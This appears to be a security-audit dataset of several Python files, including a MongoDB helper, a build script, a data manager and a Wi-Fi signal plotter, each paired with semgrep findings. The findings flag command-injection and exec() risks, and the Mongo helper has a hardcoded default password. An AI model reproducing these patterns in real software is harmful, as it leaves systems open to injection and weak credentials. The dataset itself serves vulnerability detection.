{ "blob_id": "9c90936f6e30c44c004852b6f135094909f50d5a", "branch_name": "refs/heads/master", "committer_date": 1535559284000, "content_id": "9d6a6cea075acfa0885cce9f802100ddd90643fc", "detected_licenses": [ "MIT" ], "directory_id": "3c5008317802588b7cef0c8a89d6bc7381e16edb", "extension": "py", "filename": "mongoUtils.py", "fork_events_count": 2, "gha_created_at": 1495807106000, "gha_event_created_at": 1535559286000, "gha_language": "JavaScript", "gha_license_id": "MIT", "github_id": 92515991, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1498, "license": "MIT", "license_type": "permissive", "path": "/core/dao-mongo/src/main/resources/mongoUtils.py", "provenance": "stack-edu-0054.json.gz:587378", "repo_name": "dwp/queue-triage", "revision_date": 1535559284000, "revision_id": "3a2d36f543c323430fc84e18db388945ba6d2ade", "snapshot_id": "9522ce8f5cc9f21f5825ea448a4ec3ac213cf5a8", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/dwp/queue-triage/3a2d36f543c323430fc84e18db388945ba6d2ade/core/dao-mongo/src/main/resources/mongoUtils.py", "visit_date": "2021-09-21T17:42:30.413223" }
2.40625
stackv2
import argparse import getpass import subprocess class PasswordAction(argparse.Action): def __call__(self, parser, namespace, values, option_string=None): if values is None: values = getpass.getpass('%s:' % self.dest) setattr(namespace, self.dest, values) def execute_mongo_command(options, mongo_cmd): mongo_address = '%s/%s' % (options.dbAddress, options.appDb) mongo_exe = [ 'mongo', '--username=%s' % options.authUser, '--password=%s' % options.authPassword, '--authenticationDatabase=%s' % options.authDb, mongo_address ] print "Connecting to %s as %s" % (mongo_address, options.authUser) process = subprocess.Popen(mongo_exe,stdout=subprocess.PIPE,stdin=subprocess.PIPE) (out,err) = process.communicate(mongo_cmd) print out def create_default_argument_parser(): parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('--authUser', help='username for authentication', default='admin') parser.add_argument('--authPassword', nargs='?', help='password for authentication', action=PasswordAction, default='Passw0rd') parser.add_argument('--authDb', help='database for authentication', default='admin') parser.add_argument('--dbAddress', help='database address', default='localhost:27017') parser.add_argument('--appDb', help='database for the queue-triage application', default='queue-triage') return parser
36
40.61
131
14
332
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_68861c1b5af7f5a8_ddf7ef99", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 15, "column_end": 87, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/68861c1b5af7f5a8.py", "start": {"line": 24, "col": 15, "offset": 701}, "end": {"line": 24, "col": 87, "offset": 773}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 24 ]
[ 24 ]
[ 15 ]
[ 87 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
mongoUtils.py
/core/dao-mongo/src/main/resources/mongoUtils.py
dwp/queue-triage
MIT
2024-11-18T22:36:35.537479+00:00
1,419,902,815,000
a1b3545f4a46e7d8f52b9ba6dd9406404f42c181
3
{ "blob_id": "a1b3545f4a46e7d8f52b9ba6dd9406404f42c181", "branch_name": "refs/heads/master", "committer_date": 1419902815000, "content_id": "44a30529b64e7271c770af64cae161f22cc4624c", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "directory_id": "3488890a4d793f2816c64e243d7a38c651101629", "extension": "py", "filename": "build.py", "fork_events_count": 0, "gha_created_at": 1430242142000, "gha_event_created_at": 1430242143000, "gha_language": null, "gha_license_id": null, "github_id": 34745400, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2084, "license": "MIT,BSD-3-Clause", "license_type": "permissive", "path": "/app/deps/build.py", "provenance": "stack-edu-0054.json.gz:587394", "repo_name": "poke1024/plotdevice", "revision_date": 1419902815000, "revision_id": "5abdae794a5bd03521dbd3b317d655300c5d17e9", "snapshot_id": "94063733d094d8424bbfcd7343c4f079c05c4f23", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/poke1024/plotdevice/5abdae794a5bd03521dbd3b317d655300c5d17e9/app/deps/build.py", "visit_date": "2021-01-20T08:16:20.980710" }
2.5625
stackv2
import os import errno from glob import glob from os.path import dirname, basename, abspath, isdir, join libs_root = dirname(abspath(__file__)) def mkdirs(newdir, mode=0777): try: os.makedirs(newdir, mode) except OSError, err: # Reraise the error unless it's about an already existing directory if err.errno != errno.EEXIST or not isdir(newdir): raise def build_libraries(dst_root): print "Compiling required c-extensions" # Store the current working directory for later. # Find all setup.py files in the current folder setup_scripts = glob('%s/*/setup.py'%libs_root) for setup_script in setup_scripts: lib_name = basename(dirname(setup_script)) print "Building %s..."% lib_name os.chdir(dirname(setup_script)) result = os.system('python2.7 setup.py -q build') # call the lib's setup.py if result > 0: raise OSError("Could not build %s" % lib_name) os.chdir(libs_root) # Make sure the destination folder exists. mkdirs(dst_root) # Copy all build results to the ../../build/deps folder. build_dirs = glob("%s/*/build/lib*"%libs_root) for build_dir in build_dirs: lib_name = dirname(dirname(build_dir)) # print "Copying", lib_name cmd = 'cp -R -p %s/* %s' % (build_dir, dst_root) print cmd result = os.system(cmd) if result > 0: raise OSError("Could not copy %s" % lib_name) def clean_build_files(): print "Cleaning all library build files..." build_dirs = glob('%s/*/build'%libs_root) for build_dir in build_dirs: lib_name = dirname(build_dir) print "Cleaning", lib_name os.system('rm -r %s' % build_dir) if __name__=='__main__': import sys if len(sys.argv)>1: arg = sys.argv[1] if os.path.exists(arg): dst_root = join(arg, 'plotdevice/lib') build_libraries(dst_root) elif arg=='clean': clean_build_files() else: print "usage: python build.py <destination-path>"
64
31.56
83
13
513
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e116d0dc76081bd4_22a128d4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 40, "line_end": 40, "column_start": 18, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/e116d0dc76081bd4.py", "start": {"line": 40, "col": 18, "offset": 1379}, "end": {"line": 40, "col": 32, "offset": 1393}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e116d0dc76081bd4_684cb1bf", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 9, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/e116d0dc76081bd4.py", "start": {"line": 51, "col": 9, "offset": 1710}, "end": {"line": 51, "col": 42, "offset": 1743}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 40, 51 ]
[ 40, 51 ]
[ 18, 9 ]
[ 32, 42 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found dynamic conte...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
build.py
/app/deps/build.py
poke1024/plotdevice
MIT,BSD-3-Clause
2024-11-18T22:36:37.207623+00:00
1,581,499,250,000
eaf1a1e25bd011ed8cd74a42f4b4f8ac020a816e
3
{ "blob_id": "eaf1a1e25bd011ed8cd74a42f4b4f8ac020a816e", "branch_name": "refs/heads/master", "committer_date": 1581499250000, "content_id": "b9fe7ff3416ac075a3e6f09fa4f2e43d84b3e341", "detected_licenses": [ "MIT" ], "directory_id": "aedda7b6fab6495fe03167c2a1658130cb8020b2", "extension": "py", "filename": "data_manager.py", "fork_events_count": 0, "gha_created_at": 1581347949000, "gha_event_created_at": 1688679168000, "gha_language": "HTML", "gha_license_id": "MIT", "github_id": 239542814, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8471, "license": "MIT", "license_type": "permissive", "path": "/duration_prediction/ws/duration_prediction/model_api/libs/io/data_manager.py", "provenance": "stack-edu-0054.json.gz:587414", "repo_name": "AndreaUrgolo/machinelearningwebservices", "revision_date": 1581499250000, "revision_id": "7729b7429a879f4aa19b68b1c33ce19b754ab86b", "snapshot_id": "5a244b51c0b97f6ae579eea923b5bac223c8fbb5", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/AndreaUrgolo/machinelearningwebservices/7729b7429a879f4aa19b68b1c33ce19b754ab86b/duration_prediction/ws/duration_prediction/model_api/libs/io/data_manager.py", "visit_date": "2023-07-21T06:26:43.873878" }
2.734375
stackv2
# -*- coding: utf-8 -*- #Author: Andrea Urgolo import numpy as np import os.path import pandas as pd import random import gc from scipy.sparse import csr_matrix from sklearn import preprocessing class DataManager: """ Dataset manager: contains all function to manipulate and query the dataset """ N_SAMPLE = 10 # sample of data to get while testing def __init__(self, config, db_adapter): self.config = config self.db_adapter = db_adapter self.res_profiles = dict() ## load data from config files (see app_config.py) d = dict() # temp dictionary for config vars readed from external files config_files = config['CONFIG_FILES'] for k in config_files: if os.path.isfile(config_files[k]): exec(open(config_files[k]).read(), d) # Check if config files contain all required vars definition if not 'columns_type' in d: # use a default value raise AttributeError(f'Error in {self.__class__.__name__}: columns_type is missing.') if not 'valid_columns' in d: # use a default value raise AttributeError(f'Error in {self.__class__.__name__}: valid_columns is missing.') if not 'resource_columns' in d: # use a default value raise AttributeError(f'Error in {self.__class__.__name__}: resource_columns is missing.') # set loaded vars from config files for k in d: setattr(self, k, d[k]) # because self[k] = d[k] doesn't work :-) ## END loading data from config files # Init empty dataset vars self.dataset=None # train e test qui sotto sostituiti da metodi getter # self.test=None # self.train=None # Importa i dati def init_data(self): db_adapter = self.db_adapter columns_type = self.columns_type config = self.config # only test env # print('Reading the dataset') # self.dataset = self.read_csv(config['DATASET_FILE']) # Export data in hdf5 file # self.dataset.to_hdf(config['DATASET_FILE']+'.h5', 'test') # Load data from hdf5 file print('Reading the dataset from HDF5 file') self.dataset = pd.read_hdf(config['DATASET_FILE']+'.h5', 'test') # # in production env use this instead # if not db_adapter.is_present(db_adapter.config['dataset_source']): # print("Reading the dataset from source CSV file") # self.dataset = self.read_csv(config['DATASET_FILE']) # db_adapter.save_dataframe(db_adapter.config['dataset_source'], self.dataset) # else: # print("Reading the dataset from DB") # self.dataset = db_adapter.get_dataframe(db_adapter.config['dataset_source'], list(self.columns_type.keys())) print('DONE') DataManager.set_columns_type_from_dict(self.dataset, self.columns_type) # columns_type from config file "columns_type_file" #DataManager.compute_target_class(self.dataset) print("Dataset shape: ", self.dataset.shape) print("Dataset info") self.dataset.info() # Divisione tra train e test qui sotto sostituita da metodi getter (get_train() e get_test()) # per ridurre l'uso della memoria # # Divide dataset into train and test sets using the configured TRAIN_FRACTION # limit = int(len(self.dataset)*(config['TRAIN_FRACTION'])) # self.train = self.dataset.iloc[0:limit] # self.test = self.dataset.iloc[limit:] # garbage collector gc.collect() def set_columns_type(self, data): """ Set the columns type of the 'data' dataframe exploiting the columns_type dictionary from loaded from config file. """ fields_dict = self.columns_type for field in fields_dict: if field in data.columns: data[field] = data[field].astype(fields_dict[field]) @staticmethod def set_columns_type_from_dict(data, fields_dict): """ Set columns type as the above function (static version)""" for field in fields_dict: if field in data.columns: data[field] = data[field].astype(fields_dict[field]) def read_csv(self, path, sep=None, encoding=None): """ Returns a dataframe from a given csv file specified in 'path'. """ if sep is None: sep=self.config['DATA_SEPARATOR'] if encoding is None: encoding=self.config['DATA_ENCODING'] return pd.read_csv(path, sep=sep, header=0, encoding=encoding, engine='python') ### Getters ### def get_dataset(self): return self.dataset def get_resource_columns(self): return self.resource_columns def get_test(self): return self.dataset.iloc[self.get_train_test_limit():] def get_train(self): return self.dataset.iloc[0:self.get_train_test_limit()] def get_train_test_limit(self): return int(len(self.dataset)*(self.config['TRAIN_FRACTION'])) """ Domain specific functions """ def get_dataset_columns(self): """ Returns the dataset columns """ return self.dataset.columns def get_dummies(self, data, dummies): """ Return the data updated with the proper dummies variables, filtered in order to contain only the dummies columns and typed as defined in the columns_type config file """ data_dum = pd.get_dummies(data) res = pd.DataFrame(columns=dummies) res = res.append(data_dum).fillna(0)[dummies] DataManager.set_columns_type_from_dict(res, self.columns_type) return res def get_sparse_dummies(self, data, dummies): """ Returns the compressed sparse row matrix data updated with the proper dummies variables, filtered in order to contain only the dummies columns and typed as defined in the columns_type config file """ return self.get_sparse_matrix(self.get_dummies(data, dummies)[dummies]) def get_sparse_matrix(self, data): """ Returns the compressed sparse row matrix of the data """ return csr_matrix(data) @staticmethod def get_mean_int_range(x): """ get mean int value from range x """ vals=x.split('-') if len(vals) == 2: # class with two range delimeters "n1-n2" return int((int(vals[0])+int(vals[1]))/2) else: # last class "n+" return int(x.split('+')[0]) @staticmethod def get_min_int_range(x): """ get min int value from range x """ vals=x.split('-') if len(vals) == 2: # class with two range delimeters "n1-n2" return int(vals[0]) else: # last class "n+" return int(x.split('+')[0]) @staticmethod def get_max_int_range(x): """ get max int value from range x """ vals=x.split('-') if len(vals) == 2: # class with two range delimeters "n1-n2" return int(vals[1]) else: # last class "n+" return int(x.split('+')[0]) @staticmethod def list_expm1_transform(list): return np.expm1(list) # def target_log1p_transform(self): # self.dataset[self.config['Y_COLUMN']] = [t if not np.isinf(t) else -1.0 for t in np.log1p(self.dataset[self.config['Y_COLUMN']]) ] # def target_expm1_transform(self, df): # df[self.config['Y_COLUMN']] = [ t for t in np.expm1(df[self.config['Y_COLUMN']]) ] def update_row_with_res_profiles(self, row, oc, rs): """ Returns a dataset with a row duplicated for each resources in the 'rs' ids list. Each examples is updated with the correspondent resource profiles data """ X = pd.DataFrame(columns=self.dataset.columns) self.set_columns_type(X) for i in range(len(rs)): res_profile=self.res_profiles[oc][rs[i]] # update profile data for x in res_profile.columns: row[x] = res_profile.iloc[0][x] X=X.append(row) return X """ END domain specific functions """
228
35.15
140
18
1,821
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_59dae40eeb050d12_383463fa", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 17, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmp10dxl77l/59dae40eeb050d12.py", "start": {"line": 29, "col": 17, "offset": 789}, "end": {"line": 29, "col": 54, "offset": 826}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_59dae40eeb050d12_eb799a84", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 22, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/59dae40eeb050d12.py", "start": {"line": 29, "col": 22, "offset": 794}, "end": {"line": 29, "col": 43, "offset": 815}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.exec-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 29 ]
[ 29 ]
[ 17 ]
[ 54 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
data_manager.py
/duration_prediction/ws/duration_prediction/model_api/libs/io/data_manager.py
AndreaUrgolo/machinelearningwebservices
MIT
2024-11-18T22:36:37.266381+00:00
1,624,286,791,000
85315996506c8d4ff93049a286ec9d5d285a95df
4
{ "blob_id": "85315996506c8d4ff93049a286ec9d5d285a95df", "branch_name": "refs/heads/main", "committer_date": 1624286791000, "content_id": "d6cf6318d014363578d0e8c72bde8a39fe463a08", "detected_licenses": [ "Apache-2.0" ], "directory_id": "9a23113855de95f75848b4140ce8dc45e1dd9cf9", "extension": "py", "filename": "Show_Wifi_Strength_General.py", "fork_events_count": 1, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 378805920, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6496, "license": "Apache-2.0", "license_type": "permissive", "path": "/Show_Wifi_Strength_General.py", "provenance": "stack-edu-0054.json.gz:587415", "repo_name": "ShivamSoni24/Show-Wifi-Strength", "revision_date": 1624286791000, "revision_id": "5c3e8c1b9418961c3b3dd51cc81034a77e5ad68a", "snapshot_id": "602eac123178b7806fd75fd5916b4b85fed9b582", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/ShivamSoni24/Show-Wifi-Strength/5c3e8c1b9418961c3b3dd51cc81034a77e5ad68a/Show_Wifi_Strength_General.py", "visit_date": "2023-06-05T07:15:25.644851" }
3.75
stackv2
#program to see and plot wifi network strength import subprocess #library for executing and getting result of cmd commands #@Windows import numpy as np #library for using random number from itertools import count #Library for just counting next integer(used for seconds in program) import matplotlib.pyplot as plt #library for plotting of graph from matplotlib.animation import FuncAnimation as animate #library for plotting live graph import platform #library for identifying operating system #@Linux import time #library for creating delay import argparse #for parsing from bytes to text #lists that contains variables to plot on x axis and y axis x_vals=[] #empty list for time signal_vals=[] #empty list for signal values #index element would be used to go to next second(integer, ex- 1,2,3,...) index = count() #get which operating system the program is being executed def get_os(): operating_system=platform.system() return operating_system #function that will get network strength using subprocess library def get_windows_signal_value(): #main command that will return details such as network name, strength, receive rate and transmit rate results = subprocess.check_output(["netsh","wlan","show","interface"]).decode() #splitting the result to separate out necessary details lines = results.split('\r\n') #contains the results in line by line format and converting results in dictionary format d = {} for line in lines: if ':' in line: vals = line.split(':') if vals[0].strip() != '' and vals[1].strip() != '': d[vals[0].strip()] = vals[1].strip() #Global variables global network_name, channel #finding signal strength, channel number, network name, receive speed and transmit speed for key in d.keys(): if key == "Signal": #finding signal quality = d[key][:-1] #removing % quality = int(quality) #converting in integer if key == "SSID": #finding network name network_name = d[key] if key == "Channel": #finding channel number channel = d[key] if key == "Receive rate (Mbps)": #finding receiving rate re_speed = d[key] if key == "Transmit rate (Mbps)": #finding transmit rate tr_speed = d[key] #converting percentage to rssi value(dBm) if(quality == 0): dBm = -100 elif(quality >= 100): dBm = np.random.randint(-50, -25) #for 100% signal value it lies between (-20 to -50 dBm) else: dBm = (quality / 2) - 100 return dBm, quality, re_speed, tr_speed #function returns signal %, dBm, receive rate and transmit rate def plot_graph(i): #main function that plots the graph x_vals.append(next(index)) #values to plot on X dBm, quality, receive, transmit = get_windows_signal_value() #executing and retreiving speed signal_vals.append(dBm) #values to be plotted on y plt.cla() #fixing the colour of graph line plt.plot(x_vals,signal_vals) #plotting the points(x,y) plt.title("Graph of Signal Strength (dBm vs Time)\n" #title of the graph with details "\nNetwork name:- "+network_name+" Channel:- "+channel+ "\n\nReceive Rate:- "+receive+" Mbps Transmit rate:- "+transmit+" Mbps"+ "\n\nSignal Strength:- "+str(quality)+"% equivalent dBm:- "+str(dBm).format()+" dBm") plt.xlabel("Time interval(1 seconds)") #label on X-axis plt.ylabel("Signal Strength in dBm") #label on Y-axis def plot_windows_graph(): #use of style for the plotting of the graph plt.style.use("fivethirtyeight") ani = animate(plt.gcf(), plot_graph, interval=1000) #interval shows after what duration we have to get the strength plt.get_current_fig_manager().window.state('zoomed') #maximizing the output screen plt.tight_layout() plt.show() def values_in_linux(): parser = argparse.ArgumentParser(description='Display WLAN signal strength.') parser.add_argument(dest='interface', nargs='?', default='wlan0',help='wlan interface (default: wlan0)') args = parser.parse_args() print('\n---Press CTRL+Z or CTRL+C to stop.---\n') while True: cmd = subprocess.Popen('iwconfig %s' % args.interface, shell=True, stdout=subprocess.PIPE) for line in cmd.stdout: if 'Link Quality' in line: print (line.lstrip(' ')) elif 'Not-Associated' in line: print ('No signal') time.sleep(1) def values_in_osx(): print('\n---Press CTRL+Z or CTRL+C to stop.---\n') while True: scan_cmd = subprocess.Popen(['airport', '-s'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) scan_out, scan_err = scan_cmd.communicate() scan_out_lines = str(scan_out).split("\\n")[1:-1] for each_line in scan_out_lines: split_line = [e for e in each_line.split(" ") if e != ""] print(split_line) print("The signal strength is(dBm) :", -1*int(split_line[2])) def get_windows_wifi_signal(): plot_windows_graph() def get_linux_wifi_signal(): values_in_linux() def get_macOS_wifi_signal(): values_in_osx() #finding out of the appropriate OS and executing that def show_signal_strength(): operating_system = get_os() if operating_system=='Windows': get_windows_wifi_signal() elif operating_system=='Darwin': get_macOS_wifi_signal() elif operating_system=='Linux': get_linux_wifi_signal() else: print("Progam can be executed only on Windows, Mac and Linux Operating System") #main driver program show_signal_strength()
147
42.2
128
23
1,380
python
